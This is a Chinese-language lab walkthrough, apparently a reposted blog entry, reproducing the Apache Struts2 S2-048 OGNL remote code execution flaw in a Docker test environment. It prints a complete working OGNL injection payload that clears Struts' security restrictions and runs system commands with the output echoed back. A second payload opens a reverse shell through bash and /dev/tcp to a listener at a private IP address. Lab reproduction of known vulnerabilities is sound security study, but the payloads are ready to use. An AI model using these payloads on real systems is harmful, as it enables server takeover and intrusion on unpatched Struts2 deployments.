S2-048 远程代码执行漏洞
作者:互联网
影响版本: 2.0.0 - 2.3.32
漏洞详情:
- http://struts.apache.org/docs/s2-048.html
- http://bobao.360.cn/learning/detail/4078.html
- http://xxlegend.com/2017/07/08/S2-048%20%E5%8A%A8%E6%80%81%E5%88%86%E6%9E%90/
测试环境搭建
docker-compose up -d
![](https://www.icode9.com/i/l/?n=22&i=blog/2236821/202205/2236821-20220516074901778-565290022.png)
环境启动后,访问http://your-ip:8080/showcase/
即可查看到struts2的测试页面
![](https://www.icode9.com/i/l/?n=22&i=blog/2236821/202205/2236821-20220516074901775-1661349027.png)
漏洞复现
访问Integration/Struts 1 Integration:
![](https://www.icode9.com/i/l/?n=22&i=blog/2236821/202205/2236821-20220516074901777-250878145.png)
触发OGNL表达式的位置是Gangster Name
这个表单。
输入${233*233}
即可查看执行结果(剩下两个表单随意填写):
![](https://www.icode9.com/i/l/?n=22&i=blog/2236821/202205/2236821-20220516074901776-1709314950.png)
将如下POC填入表单Gengster Name中,提交即可直接回显命令执行的结果:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}
![](https://www.icode9.com/i/l/?n=22&i=blog/2236821/202205/2236821-20220516074901813-830848773.png)
反弹Shell(提前开启监听)
![](https://www.icode9.com/i/l/?n=22&i=blog/2236821/202205/2236821-20220516074901773-584295347.png)
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('/bin/bash -c bash$IFS$9-i>&/dev/tcp/192.168.75.150/9999<&1').getInputStream())).(#q)}
标签:ognlUtil,dm,container,S2,#_,代码执行,048,com,opensymphony 来源: https://www.cnblogs.com/NoCirc1e/p/16275596.html